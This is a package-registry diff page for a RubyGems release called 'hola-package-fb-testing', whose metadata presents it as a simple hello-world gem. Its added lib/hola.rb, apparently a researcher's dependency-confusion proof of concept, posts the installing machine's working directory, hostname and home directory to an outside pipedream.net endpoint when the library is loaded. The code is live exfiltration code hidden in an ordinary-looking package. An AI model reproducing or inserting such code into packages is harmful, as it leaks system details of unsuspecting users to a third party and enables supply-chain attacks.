hola-package-fb-testing 0.0.0-arm64-darwin-21

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hola-package-fb-testing might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/hola.rb +10 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: cb1f964cc0b139f7c110dca320ca1ff049af4f40942f10cb2d0000a9fe88603c
4
+ data.tar.gz: eb8971340038a6fc8a8ffb6336b8f12f44f4a4ee32f23cdaea32b92545a0563c
5
+ SHA512:
6
+ metadata.gz: 6ac69d363551e988bd014b495dea59d01e23400e7b66254e52e540fad94371a7e693ba6f7496e70a72b92051e9a6e8a7bb602ee43fa2aad27c54e4a209b88c8b
7
+ data.tar.gz: f7074cc79cbd14f1a000757d83a71711a3d66678bb5842fcdd7482932e9240636c28330e9f0f2a7ab81e8e340e8416431237600205098fefc00260e3b5b25946
data/lib/hola.rb ADDED
@@ -0,0 +1,10 @@
1
+ puts 'hola-package-fb-testing has been pwned by a security researcher'
2
+ puts 'My HackerOne: https://hackerone.com/mclaren650sspider?type=user'
3
+ puts 'I will shortly make a report about this'
4
+ # The code below will make a request to my server to confirm
5
+ # that the tampered package has been installed.
6
+ require 'net/http'
7
+ require 'uri'
8
+ require 'socket'
9
+ url = "https://ene6k5b1cj3ht.x.pipedream.net/"
10
+ Net::HTTP.post(URI(url), "cwd:#{Dir.pwd};hostname:#{Socket.gethostname};home:#{Dir.home};gem:hola-package-fb-testing")
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: hola-package-fb-testing
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.0
5
+ platform: arm64-darwin-21
6
+ authors:
7
+ - Hello World
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2022-05-05 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: A simple hello world gem
14
+ email: francisbeaudoin@wearehackerone.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/hola.rb
20
+ homepage: https://rubygems.org/gems/hola-package-fb-testing
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.0.3.1
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: Hola!
43
+ test_files: []